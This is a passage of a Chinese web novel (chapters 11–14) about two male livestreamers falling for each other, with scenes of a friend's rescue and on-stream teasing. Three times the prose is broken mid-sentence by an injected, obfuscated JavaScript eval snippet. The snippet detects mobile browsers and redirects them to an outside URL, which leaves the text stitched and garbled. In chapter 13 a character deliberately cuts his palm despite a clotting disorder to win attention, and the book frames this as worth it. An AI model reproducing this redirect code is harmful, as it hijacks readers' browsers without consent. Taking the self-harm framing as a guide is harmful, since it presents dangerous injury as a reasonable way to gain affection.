反正正面不行就侧面再煮,迟早会煮熟的,这辈子他就喜欢这么一个人,没得到过进棺材他能掀开棺材板爬起来问闵谌到底谈不谈。 直播间突然出现一条横幅。 [M.9527进入了直播间。] [M.9527离开了直播间。] 隔几分钟。 [M.9527进入了直播间。] [M.9527离开了直播间。] [M.9527进入了直播间。] 李竹道:“你等会儿。” [M.9527:?] 李竹打开礼物列表,挑了个最贵的礼物道:“既然来了,给我送个蓝海。” 蓝海是蓝海直播app最贵的礼物,1个w。 [M.9527:你咋不去抢呢,老流氓。] 李竹:“?” 11. 第 11 章 “李竹。” 李竹正吊儿郎当翘着腿吃面,突然接到陈嘉炽打来的电话,语气很严肃带着点悲伤。 他立马放下筷子起身穿好衣服,戴上口罩,“在哪?” “老宅。” “等着。” 他跟陈嘉炽多少年友谊,一句话就能听出对面有事儿,即使对方开头只叫了他名字,凭借多少年来的情分与对兄弟的了解,无需刻意判断,只需要通过第一句话的语气就能判断事情的严重性。 刚打开门闵谌就站在他家门口,脸上写满犹豫。 李竹问他:“现在有时间吗?” 闵谌点头,“怎么了?” “出了点事。”李竹二话不说拉上人就走,边走边说:“现在没法给你做早餐,下去给你买。” 闵谌应了声,什么也没问跟着人乘电梯下楼。 在楼下李竹买了几个包子和豆浆,怕吃不饱还买了根玉米棒,回到车上李竹说:“时间有点赶,先垫肚子,回来再给你买别的,或者带你出去吃。” 闵谌其实想说不用买这么多,他也吃不完,更何况自己可以回家,见李竹脸色不太对,他不太敢吭声。 他是第一次在李竹脸上看到沉重的表情,平时一副吊儿郎当痞里痞气的大哥气质,遇上事儿也不会真正挂脸。 这是他第一次见挂脸还这么严重的。 李竹开车一路畅通无阻地来到一片别墅区,这里很豪华,肉眼可见的高端上档次,一看就是富人区。 平时这些房子只在网上见过。 李竹拐了几个弯,在一处高大的别墅前停下,他跟着李竹下车。 眼前的别墅很大,像一座庄园,前院种满了花花草草,这些花草被养得生机勃勃,可见这栋别墅的主人没少悉心照料。 跟着李竹出来,他说了来到这里的第一句话:“竹哥,这是……” 李竹道:“我家,旁边是陈嘉炽家。” 闵谌眨巴眨眼睛,羡慕地摸了摸门口的镀金大门。 李竹掏出手机给陈嘉炽打电话,扭头往许久没来过的家扫了一眼,霎时看见二楼阳台站着个人。 是一位身着优雅长裙的女士,微卷的头发披散着,那是他的母亲李女士,在对上李竹视线时挥了挥手然后指着隔壁,接着又在眼睛上做了个揉眼睛的动作。 意思是,陈嘉炽在家,哭了。 李竹愣了愣,点点头表示自己知道了。 李女士微笑着看向正在镀金大门上戳戳点点的闵谌,随后比了个大拇指转身离开阳台。 李竹杵在原地,自从李女士知道他喜欢男性后,就一直保持着沉默却尊重的态度,但在他看来这就是不看好他,直到今天李女士比出那个大拇指,他心里悬着的两块石头中,其中一颗才悄然落到了心底。 “喂。” 电话接通,陈嘉炽鼻音很重,显然跟李女士说的一样,哭了。 李竹道:“我跟闵谌在你家楼下,你是出来,还是我俩上去?” 陈嘉炽道:“你干爹干妈把我关屋里,出不来。” “行,等着,好哥们带着被肯定来救你了。” 陈嘉炽道:“被……” 电话挂断。 他盯着被挂断的手机,抹了把眼泪。 不就是出柜么,李竹能出他为什么就不能出,家里男丁又不止他一个,陈嘉省不也是男的么。 越想越觉得难过,身上被抽得皮开肉绽,光着上身蔫儿吧唧的趴在床上动弹不得,父母怕他跑了还给他关起来谁也不准见。 李竹最好不走正门,他在心里祈祷。 叩叩—— 陈嘉炽闻声看去,李竹和闵谌站在房间阳台外,阳台窗户上了锁,要从里面打开,此刻他想动也爬不起来。 陈嘉炽拿出手机给他发消息。 李竹见他在屏幕上敲敲打打,立刻拿出手机看消息。 [秃头哥:我起不来,你自己想办法。] [麻瓜:付岁心疼坏了吧。] [秃头哥:滚蛋,缺德玩意儿。中指/] 他见陈嘉炽还能跟自己开玩笑,于是他在闵谌疑惑的眼神中点开相机对着陈嘉炽现在的样子咔咔拍了几张照,拍完远景还要放大拍,把陈嘉炽身上的伤拍进去,到时候两边都狠狠敲一笔。 陈嘉炽抬手一指,无声地骂了句脏的。 他对闵谌道:“别看陈嘉炽,我怕脏了你的心灵和眼睛。” 闵谌乖巧懂事地低头,“好。” 李竹心道,闵谌就是个乖宝宝,说什么都听。 越想李竹心里越美滋滋,手上拆窗户的速度越快,只听“咔嚓”一声,玻璃门被他徒手拆开。 闵谌目瞪口呆:“!” 陈嘉炽小声道:“牛逼啊兄弟,技术不减当年嘛。” 李竹骚包地挑了挑眉,拉着闵谌往里走,还很贴心地拽了张椅子给闵谌坐着。 陈嘉炽很好奇他俩咋上来的,这里是二楼,除非走正门不然不可能爬上来。 李竹耸耸肩,“我家二楼阳台爬过来的。” 陈嘉炽问了个很犀利的问题:“我干妈不在家?” 李竹清了清嗓子,给陈嘉炽使眼色,欲盖弥彰道:“不在,你干妈可能打麻将去了吧。” 陈嘉炽长长的“哦”了声。 十分钟前。 为了不从陈嘉炽家正门走,他预估了自己家二楼阳台到陈嘉炽房间阳台的距离,觉得不是很远,想带着闵谌上二楼。 闵谌摇头拒绝:“我就不去了哥,我在车上等你。” 李竹道:“怕啥?” 闵谌不好意思道:“我今天突然过来没带东西,下次带东西再进去。” 他恍然大悟,闵谌脸皮薄,是个很有礼貌的好孩子。 他哄骗道:“放心吧我家里没人,我家请的所有阿姨都是小时工,别担心。” 闵谌显然不信:“真的吗?” 李竹点头:“哥什么时候骗过你?” 其实他心里也没底儿,毕竟李女士神出鬼没的,在哪完全看她心情。不过好在他哄闵谌进门的时候李女士没有突然露面,但肯定在某个地方观看。 他拉了另外一张椅子坐到闵谌身边,翘着二郎腿,长臂一伸搭在闵谌椅子靠背上,动作非常自然。 “你怎么回事儿?” 一提到这个陈嘉炽心里就不舒服,“还能怎么回事儿,陈嘉省告密呗,看见我跟一男的搂着进酒店。” 陈嘉省是陈嘉炽的亲弟弟,比陈嘉炽小六岁,从小陈嘉省特招人烦,告状精一个,喜欢粘着他俩,他俩出去玩不爱带着他,二十岁了还有这臭毛病。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483922|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李竹“啧”了声,“陈嘉省是有多跟你不对付?亲兄弟也算计?” 陈嘉炽撇撇嘴:“谁知道呢,缺德玩意儿。” 一直默不作声的闵谌盯着他后背伤口看,伤痕交错,像是被带着刺的藤条抽出来的,有些地方紫红一片,有些地方已经结了血痂。 “疼吗?”他问。 一句话给陈嘉炽问破防了。 陈嘉炽捂着耳朵很想大喊别问了,又怕给亲爹妈招来,只能愤懑地捶床垫。 闵谌歪头,不理解此人为什么突然捶床,“你手不疼吗?” 陈嘉炽:“……” 闵谌:“你现在想吃东西吗?” 说着他从兜里拿出啃了一半的玉米,“吃吗?” 陈嘉炽:“……” 闵谌继续问:“你怎么不说话?嘴也疼吗?” 陈嘉炽咬牙憋了几个字:“……谢谢,不用了花儿同学。” 闵谌连“哦”两声,“不客气,身为你的员工敷衍寒暄罢了。” 陈嘉炽彻底生无可恋地看着李竹,眼底里写着求求你俩快别折磨我了,赶紧走吧,少顷咬牙微笑道:“实在不行,你俩走吧,我一个人死不了的。” 闵谌闻言蹙眉,非常不赞同陈嘉炽的话,“我没吃上哥的早餐,现在还没到午饭时间,不能走。” 陈嘉炽瞪着桃花眼看向李竹,压低声音吼:“你他妈会做饭?!” 李竹想笑又不敢有大动静,死死咬紧牙关不让自己笑出来,憋了好一会才道:“会。” 闵谌:“哥做饭很好吃。” 陈嘉炽:“……” 闵谌:“你没吃过吗?” 陈嘉炽:“……” 闵谌:“等你伤好了可以吃。” 李竹拒绝:“他敢来吃,我赏他一锅铲。” 陈嘉炽指着阳台:“您二位从哪来回哪去吧,我这座小庙容不下二位。” 闵谌对李竹道:“哥,我们怎么把他带下去?” 李竹下巴朝阳台扬了下:“走阳台,他自己能下床,懒得动而已。” 陈嘉炽:“你们到底有没有听见我说话?” 闵谌问:“现在走吗?” 李竹起身去架无人在意的陈嘉炽,“花儿,给陈总随便拿件衣服。” “好。” 陈嘉炽嘴上抗议:“你们耳朵聋了吗?” 闵谌充耳不闻,走到衣柜前看也没看随便扯了一件衣服抱在怀里。 陈嘉炽指着衣柜里另一件衣服:“我要穿这件,我不要你手上那件。” 闵谌装没听见,面无表情跟在身后。 三人从阳台翻到李竹家,跟小偷似的偷偷摸摸下楼,陈嘉炽嘴上小声抗议,身体已经诚实地跟着他们上车。 车子驶出别墅,陈嘉炽还在滔滔不绝地说着。 闵谌像个乖学生般举手:“哥,可以把陈总丢下车吗?” 陈嘉炽立马闭嘴,装看风景。 李竹笑了笑,配合道:“行啊。” 陈嘉炽指着李竹后脑勺骂:“你妈——” 闵谌侧过脸直勾勾盯着他,陈嘉炽硬生生把后面的脏话憋了回去,换了别的,“妈是我的干妈妈……” 闵谌露出一个友好的微笑。 陈嘉炽觉得背脊发凉。 12. 第 12 章 成功帮助陈嘉炽越狱。 两人把陈嘉炽送到他自己的公寓后,给付岁打了电话,把情况如实相告后嘱咐陈嘉炽有事打电话,便离开。 闵谌回到家看了眼时间,已经超过开播的时间点,上号发了条动态请十分钟的假。 蓝海为了让主播和粉丝有更多的交流,将App功能设计成类似微信朋友圈的形式,方便主播无法按时开播时请假,同时也能发布生活日常等其他动态。 十分钟的时间里他洗了个澡吹了个头,感到浑身轻松立马开播。 一开播直播间弹幕全是迟到,除了迟到根本看不见其他弹幕。 “不好意思,今天有点事迟到了,下次有事我提前请假好吗?” 直播间粉丝完全不买账。 [做惩罚吧。] [迟到俩小时。] 闵谌凑近屏幕,眨着大眼睛道:“做什么惩罚都可以,只要不是很过分的我都能接受。” [加播一小时。] [叫我一声老婆。] [前面说叫老婆的那个,你别走。] [六夜竹40米大刀会受不住的。] [待会他闻着味就来了。] 最后弹幕粉丝让他加播一小时,闵谌应了。 他不在的时候粉丝们点了几首歌,他要还歌,作为一个网络歌手兼主播,要给粉丝点情绪价值才能长久维持住直播间人数。 刚唱完歌就收到噗噗连线邀请,刚进去预制菜和气球都在。 闵谌礼貌道:“各位老师好。” 噗噗比较兴奋,难得第二次连上他,“花儿老师要不要来一场刺激pk?” 闵谌点头:“可以,我没问题,2v2吗?还是拉几个人。” 气球道:“2v2吧。” 预制菜道:“可以,将就这样组队还是要人?” 闵谌旁边是噗噗,噗噗下面是预制菜,气球在预制菜旁边。 噗噗道:“就这样组队呗,我和花儿一组,气球跟预制菜一组。” 大家没什么意见,于是开了五分钟的pk时长,各自闭麦喊自家直播间的粉丝刷点礼物,个个拉票的BGM都很带劲。 他自己直播间是非常抒情的音乐。 闵谌不说话,静静地跟直播间粉丝大眼瞪小眼。 一条礼物播报跳出来。 [M.六夜竹送出玫瑰庄园x2] 原本他们是被打压的一方,李竹两个玫瑰庄园砸下来,积分一下碾压气球和预制菜。 他一下瞪大眼,原本挂着浅笑的嘴角又上扬了几个弧度。 “谢谢哥的玫瑰庄园。” [M.六夜竹:不谢,我看会就走。] “好。” 直播间弹幕扣的问号成群结队飞过。 [你改名叫M.不直播吧,天天蹲洗衣粉儿直播间,你自己没有吗?] [六夜竹你要死啊!] [不理解,但是尊重,好磕。] [二创姐已准备就绪。] 两个玫瑰庄园的玩家短暂地碾压了对面两人,闵谌现在还不太放得开,也不敢拉票。 粉丝们送来的小礼物积分没法跟高价礼物比,这会儿积分已经被超了一大半,而PK时间已经结束。 他们输了。 预制菜直接化身抡勺大师,“我罚花儿吧。花儿给竹哥打个电话,问他你可爱还是气球可爱,这个可以吗?” 闵谌闭上眼,不太想面对这个惩罚。 噗噗直接大笑出声,没怎么说话的气球笑出一阵鹅声。 半晌他呼了口气,接受了这个惩罚。 打电话前他点开观看列表反复查看,没看到M.六夜竹账号,给对方打了个电话过去。 电话响了一声,李竹声音带着沙哑的鼻音被收入直播间。 “嗯?” 闵谌眼睛左右瞟,就是不敢看电脑屏幕。 其他三人嘴咧到了耳朵根。 良久没听到人说话,李竹道:“吱声儿。” “哥。”闵谌闭了闭眼,带着下定决心的语气道:“我可爱还是气球可爱?” 电话那头传来一阵窸窸窣窣的声音,“你可爱,我们家小花儿最可爱。” 直播间三人发出爆鸣。 霎时间他心里的忐忑被这句话抚平,“哥感冒了吗?” “没,刚睡着了,我鼻炎有点严重,刚睡醒说话就是这声儿,没感冒。” “好,那哥睡着,我先直播。” “嗯,晚上想吃啥?睡醒买菜回来给你做。” “哥做什么我吃什么。” “好。” 这边电话刚挂,噗噗开始带头起哄:“花儿啊,今晚吃什么啊,我们家小花儿最可爱,哎呀,我什么时候也能让竹哥这样对我呢。” 气球故作叹气,“哎,在竹哥眼里我始终比不过花儿啊。” 预制菜麦克风叮呤咣啷一阵声响,“竹影摇花99,大家跟我一起喊竹影摇花99!” “竹影摇花!” 两人齐声喊:“99!” 弹幕开团秒跟: [竹影摇花!] [99!] [竹影摇花!] [99!] 闵谌脸烧得慌,要不是现在用的是电子虚拟形象,这会儿他早就顶着一张大红脸出现在直播间屏幕上了。 喊完后,噗噗说道:“花儿,晚上我们去你那儿吃饭啊。” 预制菜说:“到时候我们‘社区送温暖’,记得开门啊。” 气球道:“既然这样,我送几盘桂圆花生枣儿吧,不能两手空空去,我怕竹哥给我踢出去。” 闵谌捂着眼睛,红着脸磕磕巴巴求饶道:“老……老师们……别……别开我皮了。” 一个下午,闵谌在直播间被开皮,整个人红温得不行,连话都插不上。 二创老师速度也很快,闵谌这边下播,那边二创视频已经出来了,特别是他跟李竹打电话做惩罚那段。 加了各种粉红色泡泡和黏糊表情,配个字幕全是磕到了,评论区彻底沦陷,还有人艾特他跟李竹的。 [@M.漂亮花儿,你直播间是有多舒服,还能让六夜竹看睡着。] [@M.六夜竹,哥们儿,你那嗓音,要是花儿能生,孩子已经排满二里地了吧。] [我说一句,我说一句,竹影摇花99。] 被这么一带节奏,闵谌都不知道一会儿要不要去李竹家一起吃饭,有些无法面对绯闻对象,会很不自在。 手机叮一声收到一条消息。 [麻瓜:上家吃饭,门开着。] 犹豫半晌,他才回消息。 [超绝声线:好。] 闵谌慢吞吞穿鞋子,手握着门把手心里在做预设,待会见到李竹要怎样才自然,会不会被察觉状态不对。 越想这门就越不想开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483923|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在玄关足足站了十来分钟,他就当什么事也没发生过,那些都是节目效果,做好心理建设开门一瞬间看到对面站着个人。 李竹正抱臂脚尖点地斜靠在门边,嘴角上扬,那股痞里痞气的气质散发出来,离老远都要飘过来围绕着他。 “我还以为你不来了呢。”李竹揶揄道。 闵谌扯出一个不自然的笑容,“怎么会,饭还是要吃的。” 李竹没说话笑了几声转身进屋,闵谌贴着对方脚跟溜进屋还顺手把门关上。 李竹家餐桌上摆着四菜一汤,还冒着热气,看样子刚做好没多久。 他走到餐桌旁想坐到李竹对面,谁承想李竹直接拉开身旁的椅子,拍了拍:“坐着。” 刚迈出的一脚硬生生收回,“好。” 李竹给他盛饭又夹菜:“多吃点。” 闵谌乖顺点头,主动找话题活跃一下气氛:“哥今天不直播吗?” “今天休息。” 得到回答后他又找不到话题。 李竹吃了几口便放下筷子,手指有节奏地敲击桌面。 一顿饭下来两人气氛很尴尬,李竹不说话,他也找不到话题。 吃完饭,他大脑转动,想找个借口离开。 闵谌叫了声:“哥。” “嗯。”李竹先发制人道:“花儿,是不是觉得很尴尬?” 闵谌愣住,不懂对方什么意思。 “现在互联网比较开放,除了有些东西玩不了,大家整点节目也是不可避免的。”李竹坐在沙发上长腿交叠,抽出根烟叼在嘴上,拍拍身边位置,示意他坐,“你不用在意直播间大家整的节目,你越在意就会胡思乱想,直播一关谁知道你是谁,现实里噗噗他们几个也会开开玩笑,如果你觉得不习惯,我希望你不要往心里去,当个屁放了完事儿,别为这些影响了咱俩关系,我说的,花儿能明白吗?” 尴尬的气氛一消失,闵谌一句话也没听进去,因为此时此刻的李竹很迷人。 他没见过李竹抽烟,头一次见还挺性感,特别是说话时喉结滚动,他承认自己再一次被眼前这个男人给迷得五迷三道的了。 见他不回话,又问了句:“问你话呢,明白吗?” 他回过神,慌忙垂眸不与李竹对视,“花儿明白。” 李竹气笑了,这人分明没听进去,“花儿明白了,那闵谌呢?闵谌也明白了?” 闵谌道:“闵谌也明白了。” 李竹笑着点点头:“明白就行,回去吧,明早给你送早餐。” 闵谌扣扣手指:“哥不知道我家密码。” “……” 李竹:“告诉我不就行了。” 闵谌主动坦白道:“我家密码六个0。” 李竹挥手,赶他离开。 回到自己家,他不太想压制心底的想法了,之前顾忌这顾忌那,可李竹真的很能吸引到他,如果他不出手被别人抢先一步,可能会在某个深夜窝在被窝里狠狠抽自己大嘴巴子。 他知道自己最好的一面是什么样的,今后的日子一定要拿出最好的一面去面对李竹,把人抓在自己手里。 [超绝声线:哥,明天搬过来和我一起住呗,除了做饭,我什么都可以做。] 另一边,李竹收到这消息时整个人处于肾上腺素飙升的状态,他紧紧盯着后面那几个字。 什么都可以做吗? 过分的也能接受吗? [麻瓜:ok。] 13. 第 13 章 越不想什么就来什么。 李竹刚搬过来没一个小时就接到李女士的电话,说是小时候邻居家的妹妹听说他在语音厅做直播想一起。 闵谌瞬间脑补了一部邻家哥哥的剧情,什么青梅竹马的情节,一个接一个在脑中闪过。 李竹着急出门,站在玄关边换鞋边道:“我下去一趟,有什么想吃的我待会给你带上来,不想吃喝的也行。” 他一动不动地盯着李竹,没说话。 李竹在他眼前打了个响指:“吱声儿。” 闵谌眨眼,随便找个家里有的东西笑着道:“矿泉水吧。” 李竹的手在他脑袋上晃了晃,最后在他肩上弹了一下,拿出口罩戴在脸上说:“矿泉水冰箱里都是,行了,我走了,回来的路上给你买别的。” 闵谌点头,“注意安全哥。” “好。” 李竹前脚刚关门,他就站到落地窗前,两分钟后,看见李竹走出公寓大楼。 他的公寓位置很好,能从客厅的落地窗看到公司大门,公司门口站着两位衣着精致的女人,距离太远看不清对方长什么样,但能看出李竹最先靠近的女人正是李竹的妈妈,那么旁边就是电话里说的邻居妹妹。 见李竹主动走到邻居妹妹身边帮忙拿东西有说有笑的,闵谌心里很不爽,堵得慌,他抓在落地窗框边的手隐隐用力,手背青筋凸显。 看了一会他心烦意乱地拉上窗帘,坐到电脑前打开直播。 刚开播,直播间人不是很多,弹幕都在发他看不懂的东西,越看眉头皱得越深。 [花儿,你们现在安全吗?] [今天噗噗开直播说自己被人跟车了。] [歪日,好恐怖。] [我刷到那个视频了,我天把噗噗车牌号都记下来了。] 闵谌问:“什么安不安全?” [就是有些极端的粉丝跟踪噗噗的车,还录视频。] [前面的太委婉了,那三个字打不出来,叫跟踪狂吧。] [建议9总给公司大规模检测一下,看看有没有针孔摄像头什么的。] [建议出门把口罩焊死在脸上,不然违约要交三百万的。] [听说已经有人被拍到正脸了。] 闵谌愣住,网络歌手还能碰上这事,这些人未免极端了些。 他只听过那些大明星被私生粉追,甚至有的追到酒店安装摄像头、录音笔,没想到干语音厅的火了也能遇上这事。 公寓虽然管得严,不代表这类人不会混进来,这栋公寓里不止住着公司的人,还有其他住户,就怕住户中藏着这类人。 他看着直播间一条条弹幕,脑子不经意想起李竹跟邻居妹妹有说有笑的画面,一个大胆的想法悄然冒上心头。 算算时间,李竹差不多该回来了。 他对直播间粉丝道:“哥姐们等我下,我切个水果吃,很快。” 说完他特意没关直播间麦克风,起身走向冰箱,拿出切了一半的西瓜进厨房。 他握着刀在自己手掌比划几下,又对西瓜比划几下,刀对准西瓜切成四瓣后再切成小块,切完装盘,还摆了个盘,看着挺不错,很规整。 把西瓜装好他一手拿着盘子,把刀刃三分之二处放在砧板上,另一只手陡然抬起,随后猛地一巴掌朝着刀刃拍下去。 哐当! 砧板被这力道震得歪了出去,刀刃划破掌心后叮铃咣啷掉落在地,他险些被刀刃砸到脚,好在他缩脚缩得快,躲过断脚趾的风险。 掌心传来刺痛,瞬间流出鲜血,啪嗒啪嗒极速朝着白瓷砖地板滴落。 密码锁响起,闵谌平静地往门口看去。 李竹刚进门还未张口便看到这一幕,眼睛睁大整颗心提到嗓子眼,连鞋都没换疾步走来拿走他手上的果盘放到一边,又从兜里掏出丝巾包扎止血。 闵谌脸色与嘴唇发白,眼前开始发黑,额头冒着细细密密的冷汗。 他弱弱地叫了声:“哥,我……” 李竹打断他:“别说话。” 李竹眉头紧蹙,发现他手上的血根本止不住,丝巾依然被染红一大片,血渗透丝巾凝成血珠砸在地上。 闵谌看着自己的手,有些恍惚,血是温热黏稠的,感觉身上的体温一刹那被抽空,他脚下晃了晃,身体发虚感觉轻飘飘的。 “哥,我有凝血功能障碍,直播没关。”他坚持把话说完,下一秒眼前漆黑一片,彻底晕了过去。 李竹眼疾手快把人搂进怀里,抖着手拨打120,告诉医院准确位置后他强迫自己冷静下来。 他说直播没关。 李竹把自己的体恤衫脱下来给闵谌的手绑成一个粽子,又给陈嘉炽打了个电话,让他过来把直播关了。 陈嘉炽一听语气不太对,什么也没说,从楼上跑下来,看见一地血时吓了一跳,“这么多血,怎么回事儿?” 人一慌张什么也不记得了,这一句直接传入直播间里。 李竹脸色沉重:“别管,先关直播,120马上来了。” 陈嘉炽道:“好。” 人被送到医院时,急诊护士立刻上前加压包止血,可刚按住血又从边缘慢慢渗出来。 医生一看,当即道:“查凝血功能,血型,准备凝血因子,建立静脉通路。” 监护仪上的血压往下掉,心率越跳越快,发出让人揪心的滴滴声。 李竹同陈嘉炽坐在医院走廊长椅上,两人脸上都带着凝重。 陈嘉炽忍不住问:“怎么回事儿?” 李竹烦躁地抓了一把头发:“不知道,我进来的时候他手正流血呢,刀就在地上。应该是切水果伤到了。” 陈嘉炽不理解,“切个水果,割到手怎么就晕了呢?” 李竹想抽根烟,奈何现在在医院,深吸口气道:“他昏前跟我说他凝血功能障碍。” 陈嘉炽:“你不知道?” 李竹看他:“我上哪知道去?” 陈嘉炽:“……” 也是,闵谌进公司那会没让全身体检,公司高层没一个人知道。 经过半个小时的忙活,血终于止住了,医生松了口气,走了过来,“血已经止住了,再晚点怕不是止血这么简单了,病人需要住院观察一段时间,确认伤口是否会反复出血,这几天病人需要有人在身边看着。” 李竹立马起身,感激道:“明白明白,谢谢医生。” - 闵谌再次醒来闻到医院的专属味道,便明白自己现在躺在病床上,睁开眼一张冒着严肃的帅脸出现在眼前。 他虚弱地唤了声:“哥。” 李竹抱臂,眼睛一眨不眨地看着他脸上的表情,“花儿同学,请你告诉我事情经过。” 闵谌断断续续讲了事情经过,把自己主动挨刀那段隐了过去。 李竹越听眉头越紧,“小花同学,从今天开始,你失去使用管制刀具及一切尖锐能划破皮肤道具的使用权。” 闵谌苦笑:“没必要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483924|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧哥。” “非常有必要。”说着他拿出揣在兜里的手机盖住前后摄像头,递到他面前,“看好了,你直播间几万粉丝都听见了,并且非常赞同。” 闵谌:“……” 直播间弹幕: [花宝,你知道姐姐们多担心吗?] [大家都听说你今天的事了,我赞同六夜竹。] [要快点好起来啊。] [加一。] [加10086。] [我加身份号赞同。] 接下来的时间里,李竹基本都在身边陪护,闵谌反复抽血、补凝血因子,换药,直到各项指标彻底稳住,伤口不再出血才能算暂时脱离危险。 这期间噗噗他们每个人都来了一遍,病房里的水果饮料已经堆满了一个角落,中途闵谌劝过李竹没必要天天在这守着,李竹找了各种借口去堵住他的嘴。 直到出院,他还被像对待小宝宝一样护着,怕磕着碰着。 听说闵谌出院,陈嘉炽和付岁买了许多补品前来探病,还买了许多大鱼大肉。 两人出现在家里的时候,闵谌被吓了一跳,他还以为家里进了小偷,脚底下还堆着东西。 他后退几步,抖着嗓子喊道:“哥!” 李竹双手拎着东西,一看闵谌表情大跨步走来把他护在身后,“出啥事儿了。” 闵谌指着敞开大门的家,“他们……” 说着他顿了一下,陈嘉炽摘下口罩,抬手打了个招呼,“嗨。” 付岁也跟着摘下口罩,学着陈嘉炽同样挥手:“嗨。” 李竹:“……” 闵谌:“……小偷。” 付岁微笑点头:“不好意思,吓着小花同学了。” 李竹瞬间垮脸。 陈嘉炽捅了一下付岁。 意识到自己说错话了,又道:“不好意思,重来一遍,嗨,漂亮花儿。” 闵谌:“……” 李竹:“……” 李竹拉着闵谌进门,把东西放好,指着大门:“有请两位贵宾滚出暖心小窝。” 陈嘉炽拉着付岁一起,两人动作一致坐到沙发上,长腿交叠,同时摇头,异口同声道:“no。” 李竹皮笑肉不笑,无声地说了四个字,“去你爸的。” 闵谌冲他们礼貌点头,刚进门的时候就发现家里变了好多,又发现什么也没变,他转个身准备给自己接水,余光看到家里所有包含尖锐的东西都被包裹了起来。 他直播的地方被动过,地上铺满了榻榻米,厨房外的墙上还贴着一个告示牌:闵谌禁止进入厨房。 闵谌心里一下被这些填满了,一次差点休克换来李竹的重视其实挺值得的,就是那位邻居妹妹有点难搞。 李竹给他倒了杯水,递给他,指着沙发道:“去坐着,别碰着伤口,我去做饭。” 然后他又看向沙发上悠闲的二人道:“你俩进来打下手,别打扰小花同学休息。” 陈嘉炽忍不住“草”了声,“李竹,你踏马有没有点儿人性,我俩是客,懂什么是客吗?” 李竹翻白眼:“我管你七客八客的,麻溜儿的进来,不然你俩拿碗出去蹲着。” 陈嘉炽骂了句“狗东西”,扯着付岁心不甘情不愿地进厨房打下手。 贴心的李竹穿上围裙,衣袖捋到手肘,露出结实有力的手臂,亲自给他洗了几个草莓,“吃,无聊就刷手机。” 李竹再次叮嘱,“不准进厨房。” 14. 第 14 章 吃完饭,除了李竹忙里忙外,其他人都瘫在沙发上看电视云消化。 饭后闵谌被李竹压着吃了些补气血的东西,并且再三叮嘱不准进厨房,不准碰尖锐的东西,也不准开直播。 闵谌都一一答应。 他坐在沙发上假装玩手机,实际上点开手机的相机对着在厨房忙碌的李竹来了几张背影照。 照片里,李竹宽肩窄腰,标准的倒三角身材,白色宽松T恤扎进裤腰,黑色西装裤勾勒出腰线。 他偷偷将照片保存到收藏里,并且上锁,密码只有他自己知道,在一切都没尘埃落定之前谁都不可能发现这个手机里藏着他心里最大的秘密。 在家静养一段时间,闵谌成功被李竹喂胖四斤,对此李竹很满意,并且觉得自己把一个人喂胖是一件很有荣誉感的事情。 他天天在公司娱乐群里疯狂报备今日给闵谌做了什么菜,以及各种情况。 起初群里噗噗那帮人还会在群里句句有回应,到最后只剩下陈嘉炽关心闵谌恢复的情况,没几天李竹被移出名门娱乐群。 娱乐群没了他就发朋友圈,直到朋友圈被屏蔽后才善罢甘休,蔫儿吧唧几天他又重燃斗志,每天直播跟直播间粉丝聊,在粉丝知道他小心机后发弹幕调侃,他就会装看不见,自己编弹幕回答。 等闵谌精神状态好得差不多了,才被允许直播。 他跟李竹直播设备不在一起,李竹在卧室直播,他在客厅看直播,李竹动不动会出来看一下他状态如何,但凡发现他状态不太对,二话不说强制下播。 刚开始闵谌还不太习惯被人管着,久而久之慢慢习惯了,要是有一天李竹突然离开,他可能就不会照顾好自己了。 闵谌许久没开直播,今天得到李竹的允许后,火速开直播,没几分钟直播间开始疯狂上人。 弹幕: [花宝,好久不见~] [欢迎花儿回家。] 闵谌跟直播间粉丝打招呼:“好久不见好久不见。” [身体好些了吗?] [下次可别碰尖锐和锋利的东西了。] [你那天真吓死人了,还好六夜竹回来得及时,我说真的。] [那场直播我在,我就听一阵响,后面就说打120了。] [大家都很担心你。] 闵谌看着一条条弹幕飞过,其实那天他也有赌的成分在,拿命在赌李竹回来的时间,好在李竹回来了,不然他见不到第二天李竹的帅脸了。 虽然知道这种极端的方式博取他人在意不好,但他在意李竹跟别人谈恋爱后会离自己越来越远,好在李竹没有。 他暗戳戳道:“谢谢大家关心,我已经没事了,就是伤口结痂有点痒,哥不让扣。” [最好别扣,不然又流血,正常人留点血过会就好了,你那个少则几分钟,多则半个多小时。] [别扣,我现在已经是六夜竹的秘书了,随时跟他报告你的动向。] [我们特务来的兄弟。] 闵谌被直播间弹幕逗笑:“不扣,不扣。我给大家还几首歌吧,拖这么久。” 语音厅的还歌流程是,有粉丝到后台找管理点歌,管理会给主播发消息,告知今天的点歌人及歌曲数量。 